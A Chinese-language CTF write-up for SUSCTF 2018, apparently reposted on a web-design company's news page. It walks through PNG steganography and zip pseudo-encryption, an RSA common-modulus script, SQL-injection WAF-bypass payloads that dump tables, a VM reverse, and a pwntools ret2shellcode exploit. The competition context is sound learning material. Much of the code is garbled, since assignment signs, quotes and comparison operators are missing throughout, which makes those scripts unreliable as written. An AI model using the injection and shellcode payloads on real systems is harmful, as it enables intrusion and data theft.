ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

CTF入门实战复盘:从图片隐写到栈溢出的解题思路

CTF入门实战复盘:从图片隐写到栈溢出的解题思路 SUSCTF 2018那场比赛的周末我是从一道Misc题开始的。当时刚入CTF圈不久最大的感受是题目不会按你“擅长”的来但如果你能把每道题的思路记录下来后面进步会很快。这篇做题记录不是完整题解更像是我个人从读题、尝试、卡壳到最终拿到flag的复盘重点写了几道我实际做出来和赛后搞明白的题目希望能给同样在CTF入门阶段的玩家一点参考。1. 赛前准备与整体思路1.1 先看题量再决定先攻哪个方向比赛开始后我第一件事不是急着点开题目而是把题目列表从头到尾过了一遍。那次SUSCTF 2018的题目覆盖比较全Web、Misc、Crypto、Reverse、PWN都有涉及难度从签到级别到进阶题都有分布。分数设置并不完全按难度有些看起来简单的题分值反而不低所以先扫一遍题目反而能让时间花在容易得分的地方。我自己的熟练度排序是Misc最好Web次之Crypto靠模板Reverse和PWN基本属于能看但打不快。于是策略很简单先按“Misc → Web → Crypto → Reverse → PWN”的顺序做遇到卡壳超过二十分钟的题就标记一下先把后面能拿的分拿完再回头慢慢啃。这个决策看起来很基础但很多队伍输就输在开赛后头一个小时和难题死磕最后简单题都没时间碰。先保证会做的题目稳稳拿到分心态也会稳很多。建议新手也养成这个习惯比赛前先花五分钟做难易排序不要在随便一个未知题上赌太多时间。1.2 工具清单和比赛环境赛前我把Kali虚拟机完整更新了一遍同时准备了一台Windows宿主机装好BurpSuite、IDA、x64dbg这些常用工具。隐写题会用到binwalk、foremost、zsteg、stegsolve密码题主要用Python和gmpy2偶尔借助CyberChef做编码转换Web题就用BurpSuite配合手工构造请求。我还习惯在本地维护一个“CTF_Tools”目录把平时收集的脚本按方向分类放好。比如decode_base64.py、lsb_extract.py、rsa_template/这样比赛时能快速复制过去改参数而不是临时翻博客或现写。这里有个容易忽略的点工具不是越新越好。stegsolve是个Java老工具但处理LSB隐写依然很顺binwalk在某些版本里对PNG的提取反而容易误报。提前在本地把环境跑一遍确认依赖都有能省下比赛中的大量时间。1.3 题目描述和提示也是信息我后来复盘发现自己丢掉的大部分分不是因为不会做而是漏看了题目的描述。那次Misc题描述里有一句“图片右下角有点奇怪”我当时没当回事结果最后卡在提取数据格式上浪费了半小时。回头看这句话就是在提示看LSB通道的RGB低位而不是无脑跑strings。所以从那次比赛之后我养成了一个习惯每开一道题先把题目描述、附件链接、hint全部复制到本地笔记里再看文件。比赛过程中信息很多人的注意力又有限提前把已知条件记录下来后面复盘时会省很多事。很多所谓“脑子转不过来”的时刻其实就是因为有一个隐藏条件被忽略了。2. 一道Misc题图片隐写的完整解谜2.1 第一步永远先看文件本身那道Misc题给了一张分辨率800x600的PNG图片文件名就叫misc.png。我拿到文件后没有急着上工具先执行了两条命令file misc.png ls -lh misc.pngfile显示确实是PNG格式但图片大小有2.3MB。对于800x600的PNG来说这个体积明显偏大。正常PNG就算画面很复杂这个分辨率也一般在几百KB到1MB左右。看到体积异常我基本可以断定里面藏着别的东西。接着用strings misc.png | grep -i flag没找到关键字符串只看到一段类似文件路径的文本。这个时候不能急先把文件跑一遍binwalk看看有没有拼接或附加数据。2.2 binwalk分离出隐藏压缩包binwalk misc.png输出显示在偏移0x145F00附近有一个Zip压缩包的签名PK。我直接执行binwalk -e misc.png分离结果得到一个zip文件。打开后发现压缩包需要密码这算是一个小坎。我一开始尝试用弱口令字典跑跑了半天没跑出来。后来仔细观察发现压缩包里有readme.txt和hint.png两个文件而readme里的十六进制内容反复出现89 50 4E 47这种PNG文件头。这个组合很可疑因为正常的加密zip不应该让密码字典跑不出来的同时还这么“友好”。我猜这个zip很可能不是真正加密而是伪加密。2.3 伪加密的处理方法Zip伪加密的原理很简单文件头里的加密标志位被改成了0x09表示“有密码”但并没有真正对文件内容做加密处理只需要把标志位改回0x00就能直接解压。我用十六进制编辑器打开zip先搜索PK\x03\x04找到本地文件头在第6个字节处把0x09改成0x00然后保存尝试解压结果仍然提示需要密码。后来我才意识到zip的中央目录里也有同样的加密标志位需要同步修改。在十六进制编辑器里继续搜索PK\x01\x02找到中央目录位置同样把对应字节从0x09改成0x00再保存一次zip就能正常解压了。解压后readme.txt里是一段Base64字符串。我直接解码得到一堆乱码。仔细一看这段Base64并不是标准编码而是字符串被倒序处理后生成的。我用CyberChef的Reverse组件反转再Base64解码才得到了一行十六进制数据。这道题给我的第一个教训就是不要相信文件里直接出现的编码结果先看看是否被处理过。2.4 LSB隐写的提取与收尾hint.png打开是一张纯灰黑色的小图肉眼看不出来有什么。我试着用zsteg自动检测zsteg hint.png工具提示b1,rgb,lsb通道存在ASCII数据。把提取出来的数据存成txt发现是几行坐标数据形如(x,y,r,g,b)。这类格式多半是像素差值隐写需要根据坐标逐像素读回。我写了个Python脚本遍历坐标取每个像素RGB值的最低位拼成二进制再转成ASCII最终得到了SUSCTF{...}的flag。这道题做完后我的体会是Misc题与其说考工具不如说考信息组合能力。文件体积异常、伪加密、Base64反转、LSB提取每一步都在用前面的线索推导下一步没有哪一步能靠单一工具直接解决。建议新手遇到隐写题时先记录文件大小和文件头再跑工具会少走很多弯路。3. Crypto题目RSA公共模数攻击3.1 条件判断两个公钥的N相同这道Crypto题给了三个文件两个公钥pub1.pem和pub2.pem和两个密文enc1.bin和enc2.bin。我拿到后先没用脚本而是用openssl看公钥参数openssl rsa -pubin -in pub1.pem -text -noout openssl rsa -pubin -in pub2.pem -text -noout结果显示两个公钥的模数N完全一样e分别是65537和65543。看到这个条件我基本确定这是RSA共模攻击。为什么因为同一个N下加密两条消息如果两个e互质就可以通过代数操作把密文组合成明文而不需要分解N。这里我建议所有做Crypto题的新手拿到RSA相关文件后第一件事永远是提取N和e然后横向对比。N相同、e不同优先尝试共模攻击N很小可以试试分解e很小可能是低加密指数广播攻击。识别题目“陷阱”的能力往往比会写脚本更重要。3.2 共模攻击的原理与脚本共模攻击的数学基础是扩展欧几里得算法。如果e1和e2互质那么存在整数x、y满足e1 * x e2 * y 1于是可以构造m c1^x * c2^y mod N因为RSA加密是c m^e mod N代入后正好能得到明文。这里真正难的地方在于x和y很可能有一个是负数。当指数为负时对应的密文需要先取模逆元再把指数变成正数继续运算。我用的Python脚本大概是这样from gmpy2 import gcdext, powmod, invert from Crypto.PublicKey import RSA def bytes_to_int(data): return int.from_bytes(data, big) key1 RSA.import_key(open(pub1.pem, rb).read()) key2 RSA.import_key(open(pub2.pem, rb).read()) n key1.n e1 key1.e e2 key2.e c1 bytes_to_int(open(enc1.bin, rb).read()) c2 bytes_to_int(open(enc2.bin, rb).read()) g, x, y gcdext(e1, e2) if x 0: c1 invert(c1, n) x -x if y 0: c2 invert(c2, n) y -y m powmod(c1, x, n) * powmod(c2, y, n) % n flag int(m).to_bytes((m.bit_length() 7) // 8, big) print(flag.decode())运行后直接打印出了SUSCTF{...}。这里的关键点是gcdext返回的系数不一定都是正的必须把负系数对应的密文先求逆元。这个坑很多人踩过直接把负数传给pow结果要么报错要么得到错误结果。3.3 分支情况e不互质怎么办如果两个e的gcd不是1而是d那么共模攻击就不能直接用因为扩展欧几里得解出来的等式是e1*x e2*y d最后得到的是m^d而不是m。这时候需要看d是否比较小如果d很小可以尝试开根号。但一般情况下比赛出题人会保证e互质否则这道题会很难收尾。我赛后整理模板的时候把判断逻辑也写进去了先算gcd(e1, e2)等于1就走共模攻击不等于1先考虑是不是低加密指数广播攻击或者把d因子记录出来再做尝试。这些模板脚本存在本地后面遇到类似题目基本一分钟内能出结果。做过一次的事情下次就不应该再花同样的时间。4. Web题SQL注入的绕WAF思路4.1 报错信息确认注入点Web题给了一个查询接口参数是?id。我先输入1页面正常返回数据输入1页面报SQL语法错误而且错误信息直接回显在页面上。看到这个现象我判断这里很可能存在SQL注入至少有报错注入或联合查询的可能。但直接做联合查询的时候遇到了问题。我用order by 1到order by 3分别试了一遍order by 3正常返回order by 4报错说明查询列数是3。随后尝试union select 1,2,3页面直接返回500没有任何错误信息提示说明有WAF拦截了关键字。当时我意识到这是一道结合“注入绕WAF”的题目。报错回显是开着的但WAF会拦截部分关键字。这种情况下解题的核心不是注入本身而是搞清楚WAF到底过滤了什么再想对应绕过方法。4.2 逐层替换绕过WAF这类WAF常见的过滤点大概有空格、关键字、注释符、等号、逗号等。我先尝试用内联注释/**/代替空格发现页面不再直接500说明空格被过滤了而注释符号没被过滤。之后又尝试union关键字发现仍然被拦说明union在黑名单里。我试了几种常见变形大小写混合Union、UnIoN内联注释un/**/ion双写uniunionon最终成功的是“双写内联注释”的组合。因为很多WAF会简单地把敏感词替换成空字符串如果检测到union就删除那我写成uniunionon删除中间的部分后就变成了union。配合空格绕过实际payload大概是?id1/**/un/**/ion/**/sel/**/ect/**/1,2,3--页面正常返回了3列字段第2列有回显点。到这一步注入已经打通。4.3 从注入点到读取flag有回显点之后先查当前数据库名?id1/**/un/**/ion/**/sel/**/ect/**/1,database(),3--得到susctf_web。接着爆表名?id1/**/un/**/ion/**/sel/**/ect/**/1,group_concat(table_name),3 from/**/information_schema.tables/**/where/**/table_schemadatabase()--查到用户表users字段是id,username,password。我读取password时发现是一段md5哈希拿去在线平台反查得到的是flag_is_here而不是真正的flag。这个时候才想到题目环境里肯定还有一张表放真正的flag。继续查information_schema.tables果然在flag表里找到了flag_value字段最终读到了SUSCTF{...}。Web题的特点就是有信息差你不知道WAF具体过滤规则只能通过尝试去推。我后来复盘时发现如果一开始就把报错回显关闭这道题的难度会高很多因为根本没法判断哪一步生效。建议用BurpSuite的Repeater配合一个简单的字典去测过滤规则比手工盲猜效率高很多。4.4 记录绕过字典形成自己的checklist赛后我把这次用到的绕过技巧整理进了自己的笔记场景尝试方案空格被过滤内联注释/**/、换行符%0a、tabunion被过滤双写uniunionon、内联注释un/**/ion等号被过滤用like代替、用in代替注释符被过滤使用--%0a、#、/*!*/这个checklist后来在好几场比赛中都用上了。因为WAF过滤规则虽然多变但底层思路无非那么几种把这些技巧变成肌肉记忆做题速度会明显提升。5. Reverse题目简单的VM逆向5.1 先看程序行为再决定怎么逆向那道Reverse题是一个叫babyvm的ELF文件用file查看显示为64位动态链接程序。我直接运行程序要求输入一串字符然后输出“Wrong”。没有报错信息也没有明显的明文提示。用strings babyvm | grep -i flag也找不到有用的内容。用IDA打开main函数后结构很简单读取用户输入调用vm_run函数最后比较结果。关键逻辑全在vm_run里。这个函数里面有一个巨大的switch结构每个case对应一种操作码本质上就是一个虚拟机解释器。看到这种结构我就明白这题不是传统的逻辑逆向而是需要先恢复“指令集”再用脚本去模拟执行。5.2 恢复指令集把vm_run里的每个case逐一整理后我大致还原了它的指令格式。每条指令由两个字节组成第一个字节是操作码第二个字节是寄存器编号或立即数。常见的操作有操作码含义0x01把立即数加载到寄存器0x02把寄存器A和寄存器B按位异或结果存回A0x03比较寄存器A是否等于某个值相等则跳转0x04输出寄存器A对应的字符整理出指令集后程序初始化的opcode数组就可以按指令长度拆开读了。这里最麻烦的不是理解每个case而是确认数组的读取顺序。因为我一开始以为opcode数组就是简单从头往后执行结果跑出来的全是乱码。后来通过动态调试发现程序在初始化阶段会对数组做一次反转不做这一步永远解不对。5.3 用Python模拟器跑flag确认执行顺序后我直接把opcode数组和数据数组提取出来用Python模拟一遍。核心逻辑大致是把用户输入的每一位与一组固定字节做异或然后要求结果等于另一组预置字节。脚本很简单op_byte [0x12, 0x23, 0x45, ...] check_byte [0x7a, 0x5d, ...] flag .join(chr(x ^ y) for x, y in zip(op_byte, check_byte)) print(flag)结果直接输出了以SUSCTF{开头的flag。这里有个重要经验VM类题目最忌讳直接硬读汇编。先把指令集“翻译”成自己能读懂的伪代码再写脚本模拟执行效率会高很多。尤其是指令集不复杂的时候手工整理的操作码表格反而比调试器更直观。5.4 动态调试验证解码我在做题过程中也会用动态调试做验证。在IDA里对关键case下断点然后单步执行观察寄存器值的变化。比如0x02异或操作执行完寄存器里的结果是不是符合预期就能判断我对指令含义的理解是否正确。用动态调试配合静态分析的好处是能在早期发现理解偏差。有一段时间我一直以为0x03是“跳转”但实际操作发现它是“比较并跳转”而且比较条件必须是相等才跳转。如果不靠动态调试验证这个区别会直接导致模拟器跑不出正确结果。Reverse题目里工具的熟练度确实能救人一命但更重要的是有验证意识。6. 一道签到PWN题栈溢出的最小利用6.1 先检查保护再看漏洞点作为一个不太玩PWN的人我本来打算放弃这个方向但点进题目后发现是一个简单的栈溢出签到题。程序逻辑很简单把输入读进一个64字节的缓冲区然后直接调用printf输出典型的gets溢出漏洞点。我先用checksec查了一下保护checksec baby结果非常友好没有canary没有PIENX也是关闭的。这意味着栈上可以执行代码最简单的攻击方式是ret2shellcode。我当时用cyclic生成测试字符串输入程序崩溃时报出的偏移是40刚好覆盖返回地址。这题给我最大的启发是PWN题不要因为方向不熟就直接跳过。先看保护再看逻辑如果遇到保护全关的签到题尝试打一下并不难。6.2 构造ret2shellcode既然NX关闭我直接把shellcode放在输入缓冲区开头然后让返回地址跳转到缓冲区地址。因为没开PIE地址基本固定我用gdb打印了缓冲区的起始地址然后写了个pwn脚本from pwn import * context.arch amd64 sh remote(目标ip, 端口) shellcode asm(shellcraft.sh()) payload shellcode.ljust(40, b\x90) p64(0x7fffffffe000) sh.sendline(payload) sh.interactive()这里的地址需要根据本地的实际调试结果来填不能直接照抄。本地打成功后再用同样的payload打远程就拿到了shell。6.3 远程调试时容易踩的坑打远程的时候我踩了一个小坑本地明明成功但远程一直不弹shell。后来发现是栈偏移问题。本地gdb调试时栈地址和真实运行地址可能差那么几个字节如果不做地址泄漏就只能用jmp rsp之类的稳定跳板来绕过。运气好的是这道题的栈地址相对固定调整一次偏移后就成功了。另一个坑是发送payload时用了send而不是sendline结果程序没读取完整数据就执行导致整个payload被截断。后来统一改成sendline问题就解决了。PWN题对细节的要求很高一个字节的偏差都可能影响结果。7. 赛后总结与实操心得7.1 时间分配保证得分率比面子重要那次比赛里我最大的失误是在一道Reverse题上花了一个半小时最后还没解出来。赛后回看如果把这一个半小时用来把Web题的绕过模板和Crypto题的其他攻击方式整理好可能能多拿一题的分。CTF是积分制拿到手的分才是分。比赛前半小时先做全局试水把每道题按“能稳定做出来”和“需要赌运气”分类再把时间倾斜到前者。7.2 工具自动化的收益做题记录写到最后我想强调“把步骤写成脚本”这件事。解题过程中我反复用到文件分离、Base64循环解码、字节序转换这些操作手工做很浪费时间。比赛结束后我把它们沉淀成脚本下一次再遇到类似题目直接在命令行跑一遍就能看到结果。比如我写了一个autodecode.py传入一段疑似Base64加倒序的字符串脚本会自动处理反转、解码、hex转ascii后面几场比赛都用上了。7.3 复盘比刷题更重要我个人的习惯是赛后把每道题从思路到最终payload完整写成记录尤其是卡了很久但最终搞明白的题。写记录的过程会逼你重新梳理解题路径很多当时靠运气试出来的结果写到一半才会发现背后的逻辑。这也是我做这份做题记录的动机。最后分享一个实用的小技巧不管是Misc还是Web遇到看似无解的情况先把能观察到的所有数据记录下来然后问自己“这些数据之间有没有共同点”。我解那道隐写题时就是靠把文件头、Base64、坐标数据三个线索连在一起才解出来的。多记录多总结后面的比赛会越打越顺。
返回列表